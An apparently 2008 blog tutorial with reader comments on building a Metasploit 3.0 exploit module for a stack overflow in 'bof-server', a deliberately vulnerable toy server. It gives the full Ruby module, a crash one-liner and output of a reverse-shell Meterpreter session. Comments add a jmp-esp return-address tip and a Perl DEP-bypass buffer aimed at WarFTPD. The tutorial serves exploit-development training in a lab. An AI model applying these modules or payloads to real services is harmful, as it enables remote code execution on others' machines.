Writing exploits for Metasploit 3.0
This article is about writing exploit using the Metasploit Framework, for very secure software: bof-server
Bof-server has been written especially to be exploited during this article, and as you already guessed by looking at it’s name, we will exploit a stack overflow bug. You can find bof-server here:
bof-server source code
bof-server binary for Windows
Before to start I would like to say that I am not a Metasploit expert, so feel free to correct me if something is not done the right way.
Bof-server
First of all, lets see how bof-server works. To start it on port 4242 use the command below:
> bof-server.exe 4242
The bof-server implements 2 commands : version and quit. Here is a typical usage of this highly critical application
:
> telnet localhost 4242 > version bof-server v0.01 > quit
Bof-server’s bug
Our bof-server permits remote code execution due to a stack based buffer overflow introduced by the getl(int fd, char *s) function. If you need more informations regarding stack based overflows you can read this famous article from Aleph1 Smashing the stack for fun and profit.
By passing long lines to bof-server, we will crash it :
> perl -e "print 'A'x1024" | nc localhost 4242 > telnet localhost 4242 Connecting To localhost...Could not open connection to the host, on port 4242: Connect failed
Exploitation using Metasploit
Now comes the interesting things … ![]()
To make a metasploit exploit module, the easiest way to start is to create myexploit.rb in the modules/exploits/os/type/ metasploit subdirectory.
In our case, we will create modules/exploits/windows/dummy/bof-server.rb containing this code:
require 'msf/core' module Msf # class name should reflect directories class Exploits::Windows::Dummy::BofServer < Msf::Exploit::Remote include Exploit::Remote::Tcp # exploit relative informations def initialize(info = {}) super(update_info(info, 'Name' => 'bof-server exploit', 'Description' => 'This is an exploit for bof-server v0.01', 'Author' => 'xipe', # You ;) 'Version' => '1.0', 'Payload' => { 'Space' => 1024, # Space that payload can use. # We don't know yet 'BadChars' => "\x00", # Chars that payloads should not # contains. We don't know yet }, 'Platform' => 'win', 'Targets' => [ [ 'Windows XP SP2 English', { 'Platform' =>'win', 'Ret' => 0xaaaaaaaa # Return address. We don't know yet } ], ], 'DefaultTarget' => 0)) end def check # Here we should check if the target is vulnerable # This function should not crash the target end def exploit # Here we should exploit the target end end end
Now it’s time to get missing informations, we already know that sending 1024 bytes of data makes our server crash.
Metasploit gives a very cool tool which permits you to know how many bytes need to be sent to fill the remote buffer and crash the target. This tool is composed of 2 scripts: pattern_create.rb and pattern_offset.rb.
We will not use pattern_create.rb, but the pattern_create() function in your exploit script instead.
Here is your new exploit function of our script:
def exploit # Here we should exploit the target connect buf = pattern_create(1024) sock.put(buf) sock.get disconnect end
We can now fire-up our preferred debugger, attach the bof-server process, and start our exploit using msf_cli.
> msfcli windows/dummy/bof-server PAYLOAD=windows/meterpreter/bind_tcp RPORT=4242 RHOST=127.0.0.1 E
The bof-server should have crashed. Giving the crashing EIP address to pattern_offset.rb will return us how many bytes are needed to reach the saved return value.
> pattern_offset.rb 72413372 520
As you can see pattern_offest.rb returned 520, so 520 bytes + 4 are necessary to make the target crash.
Looking at the stack we should also be able to find the start address of the overflowed buffer (Here I got 0x22fb65).
We now have quite all the informations we needed for our exploit. The only things remaining are the BadChars.
BadChars are characters that should not be sent to the target, because the target modifies them, or behaves differently when finding them.
Again, in our debugger, by looking at the assembly code (around 0x4146D) we found that the target is doing something special with the 0x0A, 0x0D and 0×20 characters.
Using all this informations we are now able to put them in our exploit script.
Our exploit script looks like this:
require 'msf/core' module Msf # class name should reflect directories class Exploits::Windows::Dummy::BofServer < Msf::Exploit::Remote include Exploit::Remote::Tcp # exploit relative informations def initialize(info = {}) super(update_info(info, 'Name' => 'bof-server exploit', 'Description' => 'This is an exploit for bof-server v0.01', 'Author' => 'xipe', # You ;) 'Version' => '1.0', 'Payload' => { 'Space' => 500, # Space that payload can use. # We found that we needed 520 bytes to make the # bof-server crash, but we will only use 500, as # the end of this space can be modified by the target # before returning. 'StackAdjustment' => -3500, # Modify stack pointer at shellcode start # so it can use the stack without writing # on itself. 'BadChars' => "\x00\x20\x0D\x0A", # Chars that payloads should not # contains. }, 'Platform' => 'win', 'Targets' => [ [ 'Windows XP SP2 English', { 'Platform' =>'win', 'Ret' => 0x22fb65 # Return address. } ], ], 'DefaultTarget' => 0)) end def check # Here we should check if the target is vulnerable # This function should not crash the target connect buf = "version\n" sock.put(buf) res = sock.get disconnect if res =~ /bof-server v0.01/ return Exploit::CheckCode::Vulnerable end return Exploit::CheckCode::Safe end def exploit # Here we should exploit the target connect buf = payload.encoded # Size of the payload is defined by Payload.Space in exploit infos. buf << make_nops(20) # Some more bytes, as we defined the payload to be 500 bytes long buf << [target.ret].pack('V') # Return address sock.put(buf) # send data sock.get handler # pass the connection to the payload handler disconnect end end end
The only remaing thing is to test our exploit and to have fun :
> msfcli windows/dummy/bof-server PAYLOAD=windows/meterpreter/reverse_tcp RPORT=4242 RHOST=172.20.0.2 LHOST=172.20.0.1 E [*] Started reverse handler [*] Transmitting intermediate stager for over-sized stage...(89 bytes) [*] Sending stage (2834 bytes) [*] Sleeping before handling stage... [*] Uploading DLL (81931 bytes)... [*] Upload completed. [*] Meterpreter session 1 opened (172.20.0.1:4444 -> 172.20.0.2:1109) meterpreter > ls Listing: Z:\work\test\exploit\metasploit ======================================== Mode Size Type Last modified Name ---- ---- ---- ------------- ---- 40777/rwxrwxrwx 0 dir Thu Jan 01 01:00:00 +0100 1970 . 40777/rwxrwxrwx 0 dir Thu Jan 01 01:00:00 +0100 1970 .. 100666/rw-rw-rw- 3001 fil Thu Jan 01 01:00:00 +0100 1970 .gdbtkinit 100666/rw-rw-rw- 26814 fil Thu Jan 01 01:00:00 +0100 1970 bof-server 100666/rw-rw-rw- 3200 fil Thu Jan 01 01:00:00 +0100 1970 bof-server.c 100666/rw-rw-rw- 3211 fil Thu Jan 01 01:00:00 +0100 1970 bof-server.c~ 100777/rwxrwxrwx 26665 fil Thu Jan 01 01:00:00 +0100 1970 bof-server.exe 100666/rw-rw-rw- 2880 fil Thu Jan 01 01:00:00 +0100 1970 bof-server.o meterpreter >
I hope you had as much fun as I had while writing this article, and I would like to thanks all the Metasploit team for giving us a such cool framework !
January 24th, 2008 at 20:48
Great introductory Article on writing modules for MSF 3.0. Perhaps next article you can highlight some of the more advanced features of the REX API that obfuscates the data to avoid IDS signatures.
I’d also like to compliment you on your use of the MSF Utilities, It’s rare that people show them in their postings which leaves the reader wondering how you got from A -> C.
- Phn1x
January 25th, 2008 at 01:48
i’ll 2nd that, good post. keep it coming. a little more advanced stack overflow would be nice where its not quite JMP ESP, where we have to so a little short jump or something would be cool.
-CG
January 25th, 2008 at 13:39
very nice done .
i am hoping you will continue writing on more advanced topics , DEP bypass , Format Strings , etc . thanks
January 25th, 2008 at 20:36
Amazing article… Hope you’ll continue in this vein.
January 26th, 2008 at 07:41
Wow – this is pretty good……..seriously bro keep up the good work. I so dearly wish there was more stuff out there like this.
j0e
January 29th, 2008 at 01:51
Hey for us total noobs could you do a follow up post on what free debugger to use, how to attach it and find the EIP address? Thanks for the great post.
January 29th, 2008 at 20:46
Very nice work!
respect to you
December 15th, 2008 at 04:19
A good free debugger is OllyDbg ( http://www.ollydbg.de ). This debugger is my favorite because it allows the use of being the Just-In-Time debugger. which would allow you to attach it as soon as it crash by hitting the debug button on the windows dialog box and all your registers and the EIP will be on the right hand side
also just a hint, look at the ESP register! it has the stack pointer in it. just use findjmp.exe to find a jmp esp in a windows DLL.
example of output:
—————————————————————————-
Findjmp, Eeye, I2S-LaB
Findjmp2, Hat-Squad
Scanning kernel32.dll for code useable with the esp register
—————————————————————————-
0x7C82D9FB call esp
0x7C8369D8 call esp
—————————————————————————-
Finished Scanning kernel32.dll for code useable with the esp register
Found 2 usable addresses
—————————————————————————-
so you could use 0x7C82D9FB as your RET address to fill the EIP
December 18th, 2008 at 17:35
Very good! Nice job! Would be awesome if you created a serie of articles about how to create exploits using Metasploit. Please, all detailed for beginners.
Greate job.
March 21st, 2009 at 13:22
It’s a good tutorial on adding exploit .But you should keep in mind while using return address (‘Ret’ => 0x22fb65 # Return address).A return address should be address of some dll module and not the address directly on stack.An address of a jmp esp or something lke that.
Please give reply
March 22nd, 2009 at 18:22
Hi abhijit,
In this case, the shellcode is on the stack, and the stack address is predictable, so we jump there.
The same result can be achieved in other ways, but this way was the “easy” way IMO.
- Xipe
August 5th, 2009 at 02:56
Hi
You are a star, you have impressed me and helped me a lot but writing this article. I am doing my project on buffer overflow attack and i have found this article very helpful
Thanks
Bilal
August 11th, 2009 at 10:14
Hi,
I have one confusion in adding a exploit module to metasploit. that would exploit warftpd on xp sp2 bypass dep.
my $evil = “\xcc” x 485;
$evil .= “\x80\x20\x95\x7c”;
$evil .= “\xff\xff\xff\xff”;
$evil .= “\xf8\xd3\x91\x7c”;
$evil .= “\xff\xff\xff\xff”;
$evil .= “\xcc” x 0×54;
$evil .= pack(“V”, $target->[1]);
$evil .= $shellcode;
$evil .= “\xcc” x (1024 – length($evil));
above is attack vector for DEP bypass acc to skape skywing paper “Bypassing Windows Hardware-enforced Data Execution Prevention”.It is for the metasploit 2.7 that war in perl.
Can u please tell me how to code this in ruby.I have tried it but was not sucessful.
Abhijit
September 29th, 2009 at 16:48
Hi, I try to use this exploit, but always fail with this error:
/opt/metasploit/framework-3.2/modules/exploits/linux/dummy/bof-server.rb: NameError /opt/metasploit/framework-3.2/data/msfweb/vendor/rails/activerecord/lib/../../activesupport/lib/active_support/dependencies.rb:116:in `qualified_const_defined?’: “#::Msf” is not a valid constant name!
I use metasploit from Linux and ported your C code to Linux without much trouble. It seem to work (server crash normally), but I am not able to launch the exploit. I also installed bufserver on windows and try to hack it from Linux, but I fail too. Whats wrong?
September 29th, 2009 at 18:23
Hi Elv13,
With metasploit 3.2, some things change concerning the class definition.
You should replace :
with :
So the new file would be:
Best regards,
- Xipe
January 10th, 2010 at 18:13
Hi !
Very very helpful tutorial !
Thanks !
June 26th, 2010 at 05:23
Like the tutorial however I’m having some issues reversing your final product written for 3.2
The metasploit 3.2 version you posted in the comments works just fine but i would like to go through the tutorial still. Because your 3.2 version is the final product i must make some changes so that it can be used in step one of your tutorial. When i do this I keep getting errors such as “undefined method ‘length’”. Have any time for a 3.2 rewrite?
Thanks, hope to see another how-to along these lines.
June 26th, 2010 at 13:44
Hi anony,
I tried the exploit (the one you can get in my comment of Sept. 29th 2009) with 3.2 and the latest trunk version (3.4.1-dev r9628) and it seems to work.
Can you post or mail me your code and I will check ?
Best regards,
- Xipe